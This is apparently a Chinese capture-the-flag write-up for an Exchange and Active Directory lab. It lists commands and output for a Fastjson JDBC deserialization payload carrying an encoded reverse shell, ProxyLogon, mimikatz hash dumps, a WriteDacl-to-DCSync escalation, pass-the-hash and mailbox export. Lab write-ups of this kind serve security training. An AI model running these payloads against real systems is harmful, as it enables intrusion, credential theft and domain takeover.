春秋云镜-Exchange
flag1(华夏erp的Fastjson)
1
2
3
4
5
6
7
8
9
start infoscan
39.99.138.162:8000 open
39.99.138.162:80 open
39.99.138.162:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.138.162 code:200 len:19813 title:lumia
[*] WebTitle http://39.99.138.162:8000 code:302 len:0 title:None 跳转url: http://39.99.138.162:8000/login.html
[*] WebTitle http://39.99.138.162:8000/login.html code:200 len:5662 title:Lumia ERP
登录页面官方网站那里跳转的是华夏erp官网,结合网站标题是华夏erp 2.3版本的框架
| 参考[华夏erp账号密码泄露+后台rce(最新组合漏洞) | CN-SEC 中文网](https://cn-sec.com/archives/1798444.html) |
Java 代码审计之华夏 ERP CMS v2.3 - FreeBuf网络安全行业门户
发现Fastjson 反序列化
构造dns请求验证一下
1
{"@type":"java.net.Inet4Address","val":"ysgbayuskh.iyhc.eu.org"}
这里我们可以通过evil-mysql-server和ysoserial构造恶意mysql服务打jdbc
1
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "8.148.230.29",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0OC4yMzAuMjkvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
1
/user/list?search=URL编码后的payload¤tPage=1&pageSize=15
成功反弹shell
得到flag1
flag2(proxylogon漏洞)
fscan扫描,socks搭代理
扫到3台机子
1
2
3
172.22.3.9 XIAORANG-EXC01
172.22.3.2 DC:XIAORANG-WIN16.xiaorang.lab
172.22.3.26 XIAORANG-PC
172.22.3.9上有一个exchange服务
打完直接是system权限,添加管理员账号登录
1
proxychains4 python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab
拿到第二个flag
flag4(exchange的writeDacl特权添加DCSync权限)
发现flag2的机子在域内
需要一个域内机器用户账密来用bloodhound收集信息,上传mimikatz,管理员模式启动cmd抓密码
1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 03f85390c6b52fc32168f8a5af38c904
* SHA1 : b1a7824f98364b0b2dd20ee8be288a970066ad91
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
User Name : Zhangtong
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2025/3/5 21:15:54
SID : S-1-5-21-533686307-2117412543-4200729784-1147
msv :
[00000003] Primary
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
kerberos :
* Username : Zhangtong
* Domain : XIAORANG.LAB
* Password : (null)
接着利用域内机器用户XIAORANG-EXC01$的hash去收集域内信息
1
proxychains4 -q bloodhound-python -u "XIAORANG-EXC01$" --hashes 03f85390c6b52fc32168f8a5af38c904:03f85390c6b52fc32168f8a5af38c904 -d xiaorang.lab -dc XIAORANG-WIN16.xiaorang.lab -c all --dns-tcp -ns 172.22.3.2 --auth-method ntlm --zip
writeDacl特权利用:
由上可知,在 exchange 服务器中,其机器用户都属于Exchange Windows Permissions组,且改组默认对域有WriteDacl权限,有权限修改对象ACL
通过bloodhound收集的信息也可以验证这一点
利用dacledit.py给Zhangtong用户添加DCSync权限
1
proxychains4 python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :03f85390c6b52fc32168f8a5af38c904 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
DCSync 攻击
1
proxychains4 impacket-secretsdump xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
-just-dc-ntlm 的作用: 只输出 NTLM 哈希,不输出 Kerberos key / 明文(更快更干净)
拿到administrator哈希之后进行pth拿到flag04
1
2
3
proxychains4 impacket-smbexec -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.2 -codec gbk
type C:\Users\Administrator\flag\flag.txt
flag3(利用pthexchange从exchange服务器导出邮件)
pthexchange 导出 Exchange 邮件
用工具从exchange服务器导出邮件,用户名及对应密码hash值在前面SAM转储时已拿到,在导出Lumia用户邮件时发现两封邮件
1
proxychains4 python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
一个邮件附件是加密压缩包,并提示用手机号加密;另一个邮件附件给了excel表,其中有手机号信息,将手机号导成密码字典
用ARCHPR进行爆破
打开得到最后一个flag















